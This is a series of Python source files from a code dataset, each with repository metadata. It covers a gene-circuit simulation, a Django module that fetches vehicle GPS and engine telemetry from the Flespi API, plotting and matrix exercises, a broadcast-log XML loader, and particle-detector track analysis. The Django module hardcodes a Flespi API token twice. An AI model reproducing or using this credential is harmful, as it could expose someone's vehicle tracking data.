Simulate using bioscrape\ntimepoints = np.linspace(0,14*60*60000,1000)\n\nB1.plotBioscrape(['protein tetRdimer','protein sigmaX'],timepoints)\n\n\ntetR_id = B1.getSpeciesByName('protein tetRdimer').getId()\nsigmaX_id = B1.getSpeciesByName('protein sigmaX').getId()\nresults, _ = B1.simulateWithBioscrape(timepoints)\n\nimport pylab as plt\nplt.plot(timepoints, results[tetR_id])\nplt.plot(timepoints, results[sigmaX_id])\nplt.show()","repo_name":"BuildACell/subsbml","sub_path":"examples/A nimply B/B1sim.py","file_name":"B1sim.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"29"} +{"seq_id":"40118216708","text":"import requests\nfrom .models import TrackerData, TripMetadata\nfrom django.conf import settings\nfrom datetime import datetime\n\nimport pandas as pd\nimport plotly.express as px\nimport plotly.io as pio\n\n\njson_response_field_mapping = {\n \"position.latitude\": \"latitude\",\n \"position.longitude\": \"longitude\",\n \"engine.ignition.status\": \"ignition_status\",\n \"movement.status\": \"movement_status\",\n \"external.powersource.voltage\": \"power_voltage\",\n \"battery.voltage\": \"battery_voltage\",\n \"can.engine.coolant.temperature\": \"can_engine_coolant_temp\",\n \"can.intake.air.temperature\": \"can_engine_intake_air_temp\",\n \"can.engine.rpm\": \"can_engine_rpm\",\n \"can.engine.load.level\": \"can_engine_load_level\",\n \"can.vehicle.speed\": \"can_vehicle_speed\",\n \"ble.sensor.temperature.1\": \"ble_temperature_1\",\n \"ble.sensor.temperature.2\": \"ble_temperature_2\",\n \"ble.sensor.humidity.1\": \"ble_humidity_1\",\n \"ble.sensor.humidity.2\": \"ble_humidity_2\",\n \"segment.vehicle.mileage\": \"segment_mileage\",\n}\n\n\ndef update_tracker_data():\n try:\n last_timestamp_in_db = (\n TrackerData.objects.order_by(\"-timestamp\").first().timestamp\n )\n url = f\"https://flespi.io/gw/devices/5065494/messages?data=%7B%22from%22%3A{last_timestamp_in_db}%7D\"\n response = requests.get(\n url,\n headers={\n \"Authorization\": \"FlespiToken bA7wjMXBPjs6UlyJdfxOu3vStY8ACnTENP0XpNm4UEZDPlcRqxtKoOrHAp73CPvd\"\n },\n )\n\n # Raise an exception for error status codes\n response.raise_for_status()\n data = response.json()\n\n for item in data[\"result\"]:\n timestamp = item[\"timestamp\"]\n\n if TrackerData.objects.filter(timestamp=timestamp).exists():\n continue\n\n date_time = datetime.fromtimestamp(item[\"timestamp\"])\n tracker_data = TrackerData(timestamp=timestamp, date_time=date_time)\n for json_field, db_column in json_response_field_mapping.items():\n setattr(tracker_data, db_column, item.get(json_field, None))\n\n tracker_data.save()\n\n TrackerData.clear_trip_cache()\n\n update_trip_metadata(last_timestamp_in_db)\n\n return \"TrackerData updated successfully\"\n except Exception as e:\n return f\"Error occurred: {str(e)}\"\n\n\ndef update_trip_metadata(last_timestamp_before_update):\n records = TrackerData.objects.filter(\n timestamp__gt=last_timestamp_before_update\n ).order_by(\"timestamp\")\n trip_count = TripMetadata.objects.order_by(\"-trip_index\").first().trip_index\n start_index = None\n end_index = None\n for i, record in enumerate(records):\n if record.ignition_status == 1:\n if start_index is None:\n start_index = i\n else:\n end_index = i\n if (\n record.ignition_status == 0\n and start_index is not None\n and end_index is not None\n ):\n trip_count += 1\n\n trip_metadata = TripMetadata(\n trip_index=trip_count,\n start_timestamp=records[start_index].timestamp,\n end_timestamp=records[end_index].timestamp,\n )\n trip_metadata.save()\n\n # Update the trip field for the records of the current trip\n for trip_record in records[start_index : end_index + 1]:\n trip_record.trip = trip_metadata\n trip_record.save()\n\n # Reset start and end index for the next trip\n start_index = None\n end_index = None\n\n # Create trip metadata for the last trip if necessary\n if start_index is not None and i == len(records) - 1:\n trip_count += 1\n\n trip_metadata = TripMetadata(\n trip_index=trip_count,\n start_timestamp=records[start_index].timestamp,\n end_timestamp=records[i].timestamp,\n )\n trip_metadata.save()\n\n # Update the trip field for the records of the last trip\n for trip_record in records[start_index:]:\n trip_record.trip = trip_metadata\n trip_record.save()\n\n\ndef get_trip_coordinates(trip_index):\n trip_records = TrackerData.get_data_in_trip(trip_index)\n if trip_records:\n coordinates = [[record.latitude, record.longitude] for record in trip_records]\n return coordinates\n else:\n return None\n\n\ndef get_address(coordinates: list):\n address_url = f\"https://api.mapbox.com/geocoding/v5/mapbox.places/{coordinates[1]},{coordinates[0]}.json?limit=1&access_token={settings.MAPBOX_ACCESS_TOKEN}\"\n response = requests.get(address_url)\n response_data = response.json()\n return response_data[\"features\"][0][\"place_name\"]\n\n\ndef get_dataframes(n):\n trip_records = TrackerData.get_data_in_trip(n)\n\n # Convert TrackerData objects to dictionaries\n trip_data = []\n for trip in trip_records:\n trip_data.append(\n {\n \"date_time\": trip.date_time,\n \"can_vehicle_speed\": trip.can_vehicle_speed,\n \"ble_temperature_1\": trip.ble_temperature_1,\n \"can_engine_coolant_temp\": trip.can_engine_coolant_temp,\n \"can_engine_rpm\": trip.can_engine_rpm,\n }\n )\n\n # Create a DataFrame from the converted trip data\n df = pd.DataFrame(trip_data)\n return df\n\n\ndef get_graph(n, y_column, title, yaxis_title):\n df = get_dataframes(n)\n\n # Plotting the graph\n fig = px.line(df, x=\"date_time\", y=y_column)\n fig.update_layout(title=title, xaxis_title=\"Date and Time\", yaxis_title=yaxis_title)\n\n # Convert the Plotly graph to HTML\n graph_html = pio.to_html(fig, full_html=False)\n return graph_html\n\n\n# UPDATE ONLY SEGMENT MILEAGE FOR EXISTING TIMESTAMPS\n# def update_tracker_data():\n# try:\n# url = f'https://flespi.io/gw/devices/5065494/messages?data=%7B%22fields%22%3A%22timestamp%2Csegment.vehicle.mileage%22%2C%22filter%22%3A%22segment.vehicle.mileage%3E0%22%2C%22from%22%3A1681310000%7D'\n# response = requests.get(url, headers={\n# 'Authorization': 'FlespiToken bA7wjMXBPjs6UlyJdfxOu3vStY8ACnTENP0XpNm4UEZDPlcRqxtKoOrHAp73CPvd'})\n# response.raise_for_status() # Raise an exception for non-2xx status codes\n# data = response.json()\n\n# for item in data['result']:\n# timestamp = item['timestamp']\n# mileage = item['segment.vehicle.mileage']\n\n# try:\n# tracker_data = TrackerData.objects.get(timestamp=timestamp)\n# tracker_data.segment_mileage = mileage\n# tracker_data.save()\n# except TrackerData.DoesNotExist:\n# continue\n\n# TrackerData.clear_trip_cache()\n\n# return 'TrackerData updated successfully'\n# except Exception as e:\n# return f'Error occurred: {str(e)}'\n","repo_name":"Rokscia/djtrack","sub_path":"mysite/tracker/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6905,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"35416104782","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport numpy.random as rnd\nimport scipy.stats as stats\nfrom scipy.stats import multivariate_normal\n\ncov_mean = X.mean(axis=0)\ncovariance_matrix = np.cov(X.T)\n\nX3_rv = multivariate_normal(cov_mean, covariance_matrix)\nX3 = X3_rv.rvs(1000)\n\n# contours\nx = np.linspace(-10, 10, 100)\ny = np.linspace(-10, 10, 100)\n\nH, P = np.meshgrid(x, y)\n\npos = np.empty(H.shape + (2,))\npos[:, :, 0] = H;\npos[:, :, 1] = P\n\n# eigen values\neig = np.linalg.eig(covariance_matrix)\neigenvalues = eig[0] * 5\neigenvectors = eig[1]\n\n# plot\norigin_point = np.array([[0, 0], [0, 0]])\nfig, ax = plt.subplots(nrows=1, ncols=1, figsize=(5, 5))\n\n# sample\nax.scatter(X3[:, 0], X3[:, 1])\n\n# contours\nax.contour(H, P, X3_rv.pdf(pos), levels=5, colors='red')\n\n# eigenvectors\nax.quiver(*origin_point, eigenvectors[0], eigenvectors[1], scale=30)\n\nax.set_xlim([-10, 10])\nax.set_ylim([-10, 10])\nplt.show()","repo_name":"march5/AI_basics","sub_path":"class3/D_normal_distribution/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"27451186942","text":"\"\"\"\nНапишите программу, на вход которой подаётся прямоугольная матрица в виде последовательности строк.\nПосле последней строки матрицы идёт строка, содержащая только строку \"end\".\n\nПрограмма должна вывести матрицу того же размера, у которой каждый элемент\nв позиции i, j равен сумме элементов первой матрицы на позициях (i-1, j), (i+1, j), (i, j-1), (i, j+1).\nУ крайних символов соседний элемент находится с противоположной стороны матрицы.\n\"\"\"\nmatrix = []\nwhile True:\n str = input()\n if str == 'end':\n break\n matrix.append([int(i) for i in str.split()])\noutput = matrix.copy()\nr = len(matrix)\nfor i in range(r):\n output[i] = matrix[i].copy()\n c = len(matrix[i])\n for j in range(c):\n output[i][j]=0\n dpi = i+1 if i+1<r else 0\n dmi = i-1 if i-1>=0 else -1\n dpj = j+1 if j+1<c else 0\n dmj = j-1 if j-1>=0 else -1\n output[i][j] = matrix[dmi][j] + matrix[dpi][j] + matrix[i][dmj] + matrix[i][dpj]\nprint()\nfor i in range(r):\n for j in range(len(output[i])):\n print(output[i][j],end=' ')\n print()\nprint(matrix)\nprint(output)\n","repo_name":"LikeKugi/stepik_python","sub_path":"stepik/bioinformathic/programming_python/part_2_loops/tasks/ex4.py","file_name":"ex4.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"23099996436","text":"from xml.etree import ElementTree\nfrom masters.models import Vendor, VendorCommercial, VendorProgram, VendorPromo, VendorReportCommercial, \\\n VendorReportPromo, Channel\n# from django.db.utils import IntegrityError\nimport math, datetime\nimport glob, os, tqdm\n\n\ndef tcr2sec(tcr):\n\n h = int(tcr.split(\":\")[0])\n m = int(tcr.split(\":\")[1])\n s = int(tcr.split(\":\")[2])\n return int(h*3600+m*60+s)\n\n\ndef date2date(d):\n dt = datetime.datetime.strptime(d,\"%d/%m/%Y\")\n return dt.strftime(\"%Y-%m-%d\")\n\n\ndef load(file='/tmp/Zee_TV_18-04-19.xml', vendor=\"TABSONS\"):\n\n tree = ElementTree.parse(file)\n root = tree.getroot()\n ven, c = Vendor.objects.get_or_create(name=vendor.upper())\n vrcs = []\n vrps = []\n for child in root:\n row_data = []\n for gc in child:\n row_data.append(gc.text)\n # print(row_data)\n channel = Channel.objects.filter(code=int(row_data[3])).first()\n if not channel:\n break\n if row_data[1] == \"Commercial\":\n dur = tcr2sec(row_data[14])\n vc = VendorCommercial.objects.filter(title=row_data[7], descriptor_code=row_data[15], vendor=ven).first()\n if vc:\n # if vc.durations:\n # if dur not in vc.durations:\n # vc.durations.append(dur)\n # else:\n # vc.durations = [dur]\n # vc.save()\n\n vrc = VendorReportCommercial(date=date2date(row_data[10]), channel=channel, vendor=ven, commercial=vc,\n start_time=row_data[12], end_time=row_data[13], duration=dur)\n vrcs.append(vrc)\n if len(vrcs) > 500:\n VendorReportCommercial.objects.bulk_create(vrcs)\n vrcs = []\n\n if row_data[1] == \"Promo\":\n dur = tcr2sec(row_data[14])\n vc = VendorPromo.objects.filter(title=row_data[7], vendor=ven).first()\n if vc:\n # if vc.durations:\n # if dur not in vc.durations:\n # vc.durations.append(dur)\n # else:\n # vc.durations = [dur]\n # vc.save()\n vrp = VendorReportPromo(date=date2date(row_data[10]), channel=channel, vendor=ven, promo=vc,\n start_time=row_data[12], end_time=row_data[13], duration=dur)\n vrps.append(vrp)\n if len(vrps) > 500:\n VendorReportPromo.objects.bulk_create(vrps)\n vrps = []\n VendorReportCommercial.objects.bulk_create(vrcs)\n VendorReportPromo.objects.bulk_create(vrps)\n\n\ndef load_dir(path=None, vendor=\"PFT\"):\n\n for f in tqdm.tqdm(glob.glob(os.path.join(path, '*.xml'))):\n load(f, vendor)\n\n\nif __name__ == '__main__':\n load()\n","repo_name":"manshii007/trigger","sub_path":"web/tags/loader/load_branddur.py","file_name":"load_branddur.py","file_ext":"py","file_size_in_byte":2846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"26833993413","text":"# track ntuple\n# type pos mom chi2 hits \n# extrapolation to US / DS, hit detid, residual\nimport ROOT\nfrom array import array\nimport rootUtils as ut\n\ndef set_bit(value, n):\n return value | (1 << n)\ndef get_bit(value, n):\n return ((value >> n & 1) != 0)\nA,B = ROOT.TVector3(),ROOT.TVector3()\n\nclass TrackPersistency(ROOT.FairTask):\n \" make track and related info persistent\"\n def Init(self,options,monitor):\n self.options = options\n self.ftTrack = ROOT.TFile(\"tracks_\"+str(options.runNumber).zfill(6)+\".root\",'recreate')\n self.M = monitor\n self.tTrack = ROOT.TTree('tTrack','Trajectory')\n self.runNr = array('i',1*[0])\n self.eventNr = array('i',1*[0])\n self.weight = array('f',1*[0])\n self.bunchXtypes = array('i',1*[0]) # \n self.trackConfig = array('i',1*[0]) # 01 scifi only, 10 DS only, 11 scifi and DS\n self.chi2 = array('f',2*[0])\n self.ndof = array('f',2*[0])\n self.mom = array('f',6*[0])\n self.pos = array('f',6*[0])\n self.detIDs = array('i',48*[0])\n self.qdcs = array('f',48*[0])\n self.wqdcs = array('f',48*[0])\n self.res = array('f',48*[0])\n self.velocity = array('f',2*[0])\n self.tTrack.Branch('runNr',self.runNr,'runNr/I')\n self.tTrack.Branch('eventNr',self.eventNr,'eventNr/I')\n self.tTrack.Branch('weight',self.weight,'weight/F')\n self.tTrack.Branch('bunchXtypes',self.bunchXtypes,'bunchXtypes/I')\n self.tTrack.Branch('trackConfig',self.trackConfig,'trackConfig/I')\n self.tTrack.Branch('mom',self.mom,'mom[6]/F')\n self.tTrack.Branch('pos',self.pos,'pos[6]/F')\n self.tTrack.Branch('detIDs',self.detIDs,'detIDs[48]/I')\n self.tTrack.Branch('qdcs',self.qdcs,'qdcs[48]/F')\n self.tTrack.Branch('wqdcs',self.wqdcs,'wqdcs[48]/F')\n self.tTrack.Branch('res',self.res,'res[48]/F')\n self.tTrack.Branch('velocity',self.velocity,'velocity[2]/F')\n self.tTrack.Branch('chi2',self.chi2,'chi2[2]/F')\n self.tTrack.Branch('ndof',self.ndof,'ndof[2]/F')\n self.trackTask = self.M.FairTasks['simpleTracking']\n self.trackTask.DSnPlanes = 3 \n self.muFilterNumber = {10:0,11:1,20:2,21:3,22:4,23:5,24:6,30:7,31:8,32:9,33:10,34:11,35:12,36:13}\n self.scifiNumber = {10:0,11:1,20:2,21:3,30:4,31:5,40:6,41:7,50:8,51:9}\n\n def ExecuteEvent(self,event):\n self.weight[0] = self.M.Weight\n self.runNr[0] = self.options.runNumber\n if hasattr(event.EventHeader,\"GetEventNumber\"):\n self.eventNr[0] = event.EventHeader.GetEventNumber()\n else:\n self.eventNr[0] = self.M.EventNumber\n trackTask = self.trackTask\n self.trackConfig[0] = 0\n tmp = 0\n if self.M.xing['B1']: tmp = set_bit(tmp, 1)\n if self.M.xing['B2']: tmp = set_bit(tmp, 2)\n if self.M.xing['IP1']: tmp = set_bit(tmp, 11)\n if self.M.xing['IP2']: tmp = set_bit(tmp, 12)\n if self.M.xing['B1only']: tmp = set_bit(tmp, 10)\n if self.M.xing['B2noB1']: tmp = set_bit(tmp, 20)\n if self.M.xing['noBeam']: tmp = set_bit(tmp, 0)\n self.bunchXtypes[0] = tmp\n for k in range(48):\n self.detIDs[k] = 0\n self.qdcs[k] = 0\n self.wqdcs[k] = 0\n self.res[k] = 0\n for k in range(2):\n self.velocity[k] = -999\n self.ndof[k] = -999\n self.chi2[k] = -999\n\n for theTrack in self.M.Reco_MuonTracks:\n fitStatus = theTrack.getFitStatus()\n if not fitStatus.isFitConverged(): continue\n if theTrack.GetUniqueID() ==1: \n self.trackConfig[0] +=1\n ttype = 0\n if theTrack.GetUniqueID() ==3: \n self.trackConfig[0] +=10\n ttype = 1\n if theTrack.GetUniqueID() ==1: \n SL = trackTask.trackDir(theTrack)\n if SL: self.velocity[ttype] = SL[0]\n self.chi2[ttype] = fitStatus.getChi2()\n self.ndof[ttype] = fitStatus.getNdf()\n fstate = theTrack.getFittedState()\n pos,mom = fstate.getPos(),fstate.getMom()\n self.mom[0+3*ttype] = mom.x()\n self.mom[1+3*ttype] = mom.y()\n self.mom[2+3*ttype] = mom.z()\n self.pos[0+3*ttype] = pos.x()\n self.pos[1+3*ttype] = pos.y()\n self.pos[2+3*ttype] = pos.z()\n\n residuals = {}\n detIDs = {}\n qdcs = {}\n wqdcs = {}\n for aHit in event.Digi_MuFilterHits:\n if not aHit.isValid(): continue\n Minfo = self.M.MuFilter_PlaneBars(aHit.GetDetectorID())\n s,l,bar = Minfo['station'],Minfo['plane'],Minfo['bar']\n k = s*10+l\n if not k in residuals: \n residuals[k] = []\n detIDs[k] = []\n qdcs[k] = []\n wqdcs[k] = 0\n detIDs[k].append(aHit.GetDetectorID())\n qdc = aHit.SumOfSignals()['Sum']\n qdcs[k].append(qdc)\n self.M.MuFilter.GetPosition(aHit.GetDetectorID(),A,B)\n# calculate DOCA\n zEx = self.M.zPos['MuFilter'][k]\n lam = (zEx-pos.z())/mom.z()\n xEx,yEx = pos.x()+lam*mom.x(),pos.y()+lam*mom.y()\n pq = A-pos\n uCrossv= (B-A).Cross(mom)\n res = pq.Dot(uCrossv)/uCrossv.Mag()\n residuals[k].append(res)\n wqdcs[k]+= abs(res)*qdc\n for k in wqdcs: wqdcs[k] = wqdcs[k]/(sum(qdcs[k])+1E-10)\n for k in residuals:\n tmp = []\n for x in residuals[k]: tmp.append(abs(x))\n minRes = min(tmp)\n minK = tmp.index(minRes)\n self.detIDs[10+self.muFilterNumber[k]+ttype*24] = detIDs[k][minK]\n self.res[10+self.muFilterNumber[k]+ttype*24] = residuals[k][minK]\n self.qdcs[10+self.muFilterNumber[k]+ttype*24] = qdcs[k][minK]\n self.wqdcs[10+self.muFilterNumber[k]+ttype*24] = wqdcs[k]\n\n residuals = {}\n detIDs = {}\n for aCl in self.trackTask.clusScifi:\n detID = aCl.GetFirst()\n k = detID//100000\n if not k in residuals: \n residuals[k] = []\n detIDs[k] = []\n detIDs[k].append(detID)\n# calculate DOCA\n aCl.GetPosition(A,B)\n pq = A-pos\n uCrossv= (B-A).Cross(mom)\n residuals[k].append(pq.Dot(uCrossv)/uCrossv.Mag())\n for k in residuals:\n tmp = []\n for x in residuals[k]: tmp.append(abs(x))\n minRes = min(tmp)\n minK = tmp.index(minRes)\n self.detIDs[self.scifiNumber[k]+ttype*24] = detIDs[k][minK]\n self.res[self.scifiNumber[k]+ttype*24] = residuals[k][minK]\n#\n\n if self.trackConfig[0]>0: self.tTrack.Fill()\n \n def Plot(self):\n self.ftTrack.Write() \n self.ftTrack.Close()\n \nclass TrackReading(ROOT.FairTask):\n \" read info from track ttree\"\n def Init(self,runNumber):\n self.h = {}\n self.ftTrack = ROOT.TFile(\"tracks_\"+str(runNumber).zfill(6)+\".root\")\n self.tTrack = self.ftTrack.tTrack\n self.muFilterNumber = {10:0,11:1,20:2,21:3,22:4,23:5,24:6,30:7,31:8,32:9,33:10,34:11,35:12,36:13}\n self.rev_muFilterNumber = dict(map(reversed, self.muFilterNumber.items()))\n self.scifiNumber = {10:0,11:1,20:2,21:3,30:4,31:5,40:6,41:7,50:8,51:9}\n self.rev_scifiNumber = dict(map(reversed, self.scifiNumber.items()))\n self.planeNumber = {'mufi':{10:0,11:1,20:12,21:13,22:14,23:15,24:16,30:17,31:18,32:19,33:20,34:21,35:22,36:23},\n 'scifi':{10:2,11:3,20:4,21:5,30:6,31:7,40:8,41:9,50:10,51:11} }\n#\n self.tt = {0:'scifi',1:'DS'}\n# type of crossing, check for b1only,b2nob1,nobeam\n h = self.h\n for x in ['IP1','B1only','B2noB1','noBeam']:\n for d in ['scifi','DS']:\n ut.bookHist(h,d+'_trackSlopes'+x,'track slope; x/z [mrad]; y/z [mrad]',1000,-100,100,1000,-100,100)\n ut.bookHist(h,d+'_trackSlopesXL'+x,'track slope; x/z [rad]; y/z [rad]',2200,-1.1,1.1,2200,-1.1,1.1)\n ut.bookHist(h,d+'_trackPos'+x,'track pos; x [cm]; y [cm]',100,-90,10.,80,0.,80.)\n if d=='scifi':\n ut.bookHist(h,d+'_scifiplanes'+x,'planes and residual; n; residual [mm]',10,-0.5,9.5,100,-5.,5.)\n ut.bookHist(h,d+'_veusplanes'+x,'planes and residual; n; residual [cm]',7,-0.5,6.5,100,-10.,10.)\n ut.bookHist(h,d+'_dsplanes'+x,'planes and residual; n; residual [cm]',7,-0.5,6.5,200,-10.,10.)\n else:\n ut.bookHist(h,d+'_scifiplanes'+x,'planes and residual; n; residual [cm]',10,-0.5,9.5,100,-10.,10.)\n ut.bookHist(h,d+'_veusplanes'+x,'planes and residual; n; residual [cm]',7,-0.5,6.5,100,-10.,10.)\n ut.bookHist(h,d+'_dsplanes'+x,'planes and residual; n; residual [cm]',7,-0.5,6.5,100,-5.,5.)\n ut.bookHist(h,d+'_scifiQDC'+x,'planes and qdc; n; qdc',10,-0.5,9.5,100,-1.,10.)\n ut.bookHist(h,d+'_veusQDC'+x,'planes and qdc; n; qdc',7,-0.5,6.5,100,-5.,500.)\n ut.bookHist(h,d+'_dsQDC'+x,'planes and qdc; n; qdc',7,-0.5,6.5,100,-5.,200.)\n\n ut.bookHist(h,d+'_planes'+x,'planes hit by track; n',24,-0.5,23.5)\n ut.bookHist(h,d+'_planesT'+x,'planes hit by track; n',24,-0.5,23.5)\n ut.bookHist(h,d+'_planesE'+x,'planes hit by track; n',24,-0.5,23.5)\n ut.bookHist(h,d+'_planesET'+x,'planes hit by track; n',24,-0.5,23.5)\n ut.bookHist(h,d+'_tracksE'+x,'planes hit by track; n',24,-0.5,23.5)\n ut.bookHist(h,d+'_tracksET'+x,'planes hit by track; n',24,-0.5,23.5)\n#\n def ExecuteEvent(self,n):\n tTrack = self.tTrack\n rc = tTrack.GetEvent(n)\n runNr = tTrack.runNr\n eventNr = tTrack.eventNr\n weight = tTrack.weight\n xing = {}\n xing['B1'] = get_bit(tTrack.bunchXtypes, 1)\n xing['B2'] = get_bit(tTrack.bunchXtypes, 2)\n xing['IP1'] = get_bit(tTrack.bunchXtypes, 11)\n xing['IP2'] = get_bit(tTrack.bunchXtypes, 12)\n xing['B1only'] = get_bit(tTrack.bunchXtypes, 10)\n xing['B2noB1'] = get_bit(tTrack.bunchXtypes, 20)\n xing['noBeam'] = get_bit(tTrack.bunchXtypes, 0)\n trackConfig = tTrack.trackConfig\n mom = [ROOT.TVector3(tTrack.mom[0],tTrack.mom[1],tTrack.mom[2]),ROOT.TVector3(tTrack.mom[3],tTrack.mom[4],tTrack.mom[5])]\n pos = [ROOT.TVector3(tTrack.pos[0],tTrack.pos[1],tTrack.pos[2]),ROOT.TVector3(tTrack.pos[3],tTrack.pos[4],tTrack.pos[5])]\n velocity = tTrack.velocity\n chi2 = tTrack.chi2\n ndof = tTrack.ndof\n detIDs = {'scifi':[{},{}],'mufi':[{},{}]}\n res = {'scifi':[{},{}],'mufi':[{},{}]}\n qdcs = {'scifi':[{},{}],'mufi':[{},{}]}\n wqdcs = {'scifi':[{},{}],'mufi':[{},{}]}\n for k in range(10):\n for ttype in range(2):\n detIDs['scifi'][ttype][self.rev_scifiNumber[k]] = tTrack.detIDs[k+ttype*24]\n res['scifi'][ttype][self.rev_scifiNumber[k]] = tTrack.res[k+ttype*24]\n qdcs['scifi'][ttype][self.rev_scifiNumber[k]] = tTrack.qdcs[k+ttype*24]\n for k in range(14):\n for ttype in range(2):\n detIDs['mufi'][ttype][self.rev_muFilterNumber[k]] = tTrack.detIDs[10+k+ttype*24]\n res['mufi'][ttype][self.rev_muFilterNumber[k]] = tTrack.res[10+k+ttype*24]\n qdcs['mufi'][ttype][self.rev_muFilterNumber[k]] = tTrack.qdcs[10+k+ttype*24]\n wqdcs['mufi'][ttype][self.rev_muFilterNumber[k]] = tTrack.wqdcs[10+k+ttype*24]\n# fill histograms\n h = self.h\n for x in ['IP1','B1only','B2noB1','noBeam']:\n if xing[x]: break\n \n for t in self.tt:\n if t==0 and trackConfig%2==0: continue\n if t==1 and trackConfig//10==0: continue\n if t==0 and velocity[t]<-0.04: continue # remove backward tracks\n d = self.tt[t]\n sx = mom[t].x()/mom[t].z()\n sy = mom[t].y()/mom[t].z()\n rc = h[d+'_trackSlopes'+x].Fill(sx,sy)\n rc = h[d+'_trackSlopesXL'+x].Fill(sx,sy)\n rc = h[d+'_trackPos'+x].Fill(pos[t].x(),pos[t].y())\n#\n# select tracks in the center:\n if abs(sx)>0.1: continue\n if abs(sy)>0.1: continue\n if pos[t].x() < -40 or pos[t].x()>-15: continue\n if pos[t].y() < 20 or pos[t].y()>30: continue\n#\n hitList = {'':[],'T':[]}\n for k in detIDs['scifi'][t]:\n if detIDs['scifi'][t][k]==0: continue\n s = (k//10-1)*2+k%2\n rs = res['scifi'][t][k]\n qdc = qdcs['scifi'][t][k]\n if t==0: rc = h[d+'_scifiplanes'+x].Fill(s,rs*10)\n if t==1: rc = h[d+'_scifiplanes'+x].Fill(s,rs)\n rc = h[d+'_scifiQDC'+x].Fill(s,qdc)\n rc = h[d+'_planes'+x].Fill(self.planeNumber['scifi'][k])\n hitList[''].append(self.planeNumber['scifi'][k])\n if abs(rs)>0.5 and t==0: continue\n if ndof[0]>12: continue\n rc = h[d+'_planesT'+x].Fill(self.planeNumber['scifi'][k])\n hitList['T'].append(self.planeNumber['scifi'][k])\n for k in detIDs['mufi'][t]:\n if detIDs['mufi'][t][k]==0: continue\n s = self.muFilterNumber[k]\n rs = res['mufi'][t][k]\n qdc = qdcs['mufi'][t][k]\n tagged = True\n if ndof[0]>12: tagged = False\n if k>26:\n dsnr = s-7\n rc = h[d+'_dsplanes'+x].Fill(dsnr,rs)\n rc = h[d+'_dsQDC'+x].Fill(dsnr,qdc)\n if abs(rs)>5 and t==0: tagged = False\n if qdc<55 and (dsnr==0 or dsnr==2 or dsnr==4): tagged = False\n if qdc<40 and (dsnr==1 or dsnr==3 or dsnr==5): tagged = False\n if qdc<35 and (dsnr==6): tagged = False\n else: \n rc = h[d+'_veusplanes'+x].Fill(s,rs)\n rc = h[d+'_veusQDC'+x].Fill(s,qdc)\n if t==0:\n if abs(rs)>10: tagged = False\n if abs(rs)>5 and qdc<100: tagged = False # low energy muons with lot of MS\n if qdc<10 and (s==0): tagged = False\n if qdc<10 and (s==1): tagged = False\n if qdc<45 and (s==2): tagged = False\n if qdc<55 and (s==3): tagged = False\n if qdc<20 and (s==4): tagged = False\n if qdc<45 and (s==5): tagged = False\n if qdc<60 and (s==6): tagged = False\n rc = h[d+'_planes'+x].Fill(self.planeNumber['mufi'][k])\n hitList[''].append(self.planeNumber['mufi'][k])\n if tagged: \n rc = h[d+'_planesT'+x].Fill(self.planeNumber['mufi'][k])\n hitList['T'].append(self.planeNumber['mufi'][k])\n rc = h[d+'_planes'+x].Fill(-1) # put number of tracks in underflow\n if not ndof[0]>12: rc = h[d+'_planesT'+x].Fill(-1) # put number of tracks in underflow\n# special histo with hits only if hit in station n+1 exist\n for c in hitList:\n for n in hitList[c]:\n rc = h[d+'_tracksE'+c+x].Fill(n-1)\n if (n-1) in hitList[c]: rc = h[d+'_planesE'+c+x].Fill(n-1)\n else:\n# if t==0 and (n-1)==0 and c=='T' and (1 in hitList['T'] and not 0 in hitList['T']) and 0 in hitList[''] :\n if t==0 and (n-1)>(2+10+5) and c=='T' and (n in hitList['T'] and not n-1 in hitList['T']) and n-1 in hitList[''] :\n k0 = self.rev_muFilterNumber[n-1-17]\n k1 = self.rev_muFilterNumber[n-17]\n print('event',eventNr,n,k0,detIDs['mufi'][t][k0],detIDs['mufi'][t][k1],\n res['mufi'][t][k0],res['mufi'][t][k1],\n qdcs['mufi'][t][k0],qdcs['mufi'][t][k1])\n\n def Plot(self):\n h = self.h\n for x in ['IP1','B1only','B2noB1','noBeam']:\n for d in ['scifi','DS']:\n for c in ['','E']:\n for t in ['','T']:\n hname = d+'_planes'+c+t+x\n if c=='':\n h[hname].Scale(1/(h[hname].GetBinContent(-1)+1E-10))\n else:\n h[hname].Divide(h[d+'_tracks'+c+t+x])\n h[hname].SetMinimum(0.95)\n h[hname].SetMaximum(1.019)\n h[hname].SetStats(0)\n x = 'IP1'\n for d in ['scifi','DS']:\n ut.bookCanvas(h,'res_'+d,'',1800,1200,2,2)\n ut.bookCanvas(h,'qdc_'+d,'',1800,1200,2,2)\n for c in ['planes','QDC']:\n for p in [d+'_scifi'+c+x,d+'_veus'+c+x,d+'_ds'+c+x]:\n for n in range(h[p].GetNbinsX()):\n s = p+'_'+str(n)\n h[s]=h[p].ProjectionY(s,n+1,n+1)\n tc = h['res_'+d].cd(1)\n s = d+'_veusplanes'+x+'_'+str(0)\n h[s].SetLineColor(ROOT.kRed)\n h[s].Draw()\n s = d+'_veusplanes'+x+'_'+str(1)\n h[s].SetLineColor(ROOT.kGreen)\n h[s].Draw('same')\n tc = h['res_'+d].cd(2)\n for n in range(10):\n s = d+'_scifiplanes'+x+'_'+str(n)\n h[s].SetLineColor(ROOT.kPink-n)\n if n==0: h[s].Draw()\n else: h[s].Draw('same')\n tc = h['res_'+d].cd(3)\n for n in range(2,2+5):\n s = d+'_veusplanes'+x+'_'+str(n)\n h[s].SetLineColor(ROOT.kViolet+3+n)\n if n==0: h[s].Draw()\n else: h[s].Draw('same')\n tc = h['res_'+d].cd(4)\n for n in range(7):\n s = d+'_dsplanes'+x+'_'+str(n)\n h[s].SetLineColor(ROOT.kOrange+n)\n if n==0: h[s].Draw()\n else: h[s].Draw('same')\n tc = h['qdc_'+d].cd(4)\n for n in range(7):\n s = d+'_dsQDC'+x+'_'+str(n)\n h[s].SetLineColor(ROOT.kOrange+n)\n if n==0: h[s].Draw()\n else: 